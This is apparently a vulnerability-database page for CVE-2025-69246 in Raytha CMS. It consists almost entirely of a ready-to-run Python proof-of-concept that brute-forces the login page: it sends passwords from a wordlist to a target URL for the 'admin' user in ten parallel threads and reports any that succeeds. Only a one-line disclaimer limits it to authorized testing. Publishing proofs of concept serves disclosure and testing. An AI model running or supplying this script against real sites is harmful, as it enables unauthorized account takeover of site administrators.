CVE-2025-69246 Raytha CMS 暴力破解漏洞

#!/usr/bin/env python3 """ CVE-2025-69246 PoC - Raytha CMS Brute Force Login This PoC demonstrates the lack of brute force protection in Raytha CMS. Use only for authorized security testing. """ import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "https://target-site.com/auth/login" # Replace with target URL USERNAME = "admin" # Target username PASSWORD_FILE = "passwords.txt" # Wordlist file MAX_THREADS = 10 def try_login(password): """Attempt login with given password""" data = { "email": USERNAME, "password": password.strip(), "return_url": "/" } try: response = requests.post(TARGET_URL, data=data, timeout=10, allow_redirects=False) # Successful login typically returns redirect or specific status if response.status_code in [200, 302] and "login" not in response.headers.get("Location", ""): return password.strip(), True except requests.RequestException: pass return password.strip(), False def main(): print(f"[*] CVE-2025-69246 PoC - Raytha CMS Brute Force") print(f"[*] Target: {TARGET_URL}") print(f"[*] Username: {USERNAME}") try: with open(PASSWORD_FILE, 'r') as f: passwords = f.readlines() except FileNotFoundError: print(f"[!] Password file not found: {PASSWORD_FILE}") sys.exit(1) print(f"[*] Loaded {len(passwords)} passwords, starting attack...") with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: futures = {executor.submit(try_login, pwd): pwd for pwd in passwords} for future in as_completed(futures): pwd, success = future.result() if success: print(f"\n[!] VALID PASSWORD FOUND: {pwd}") print("[*] Attack completed successfully") sys.exit(0) else: print(f"[*] Tried: {pwd}", end='\r') print("\n[!] No valid password found") if __name__ == "__main__": main()